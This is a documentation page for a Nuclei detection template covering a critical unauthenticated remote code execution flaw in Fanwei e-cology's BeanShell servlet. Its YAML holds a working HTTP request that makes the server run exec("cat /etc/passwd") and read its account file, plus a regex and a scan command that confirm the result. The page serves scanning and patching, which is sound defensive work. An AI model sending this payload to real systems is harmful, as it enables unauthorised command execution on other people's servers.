Fanwei e-cology <=9.0 - Remote Code Execution
ID: CNVD-2019-32204
Severity: critical
Author: daffainfo
Tags: cnvd,cnvd2019,fanwei,rce
Description
Section titled “Description”Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system.
YAML Source
Section titled “YAML Source”id: CNVD-2019-32204
info: name: Fanwei e-cology <=9.0 - Remote Code Execution author: daffainfo severity: critical description: Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system. reference: - https://blog.actorsfit.com/a?ID=01500-11a2f7e6-54b0-4a40-9a79-5c56dc6ebd51 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: cnvd,cnvd2019,fanwei,rce
http: - raw: - | POST /bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
bsh.script=exec("cat+/etc/passwd");&bsh.servlet.output=raw
matchers: - type: regex regex: - "root:.*:0:0:"# digest: 490a00463044022059d413fc1361427cb30f9658f06064159d4f6c872bddaffc6bf7fcece83f070002202d7a80c4008e2da0aea77404379a2c704bc3b1c6022655c7b914cc87aa610f4b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cnvd/2019/CNVD-2019-32204.yaml"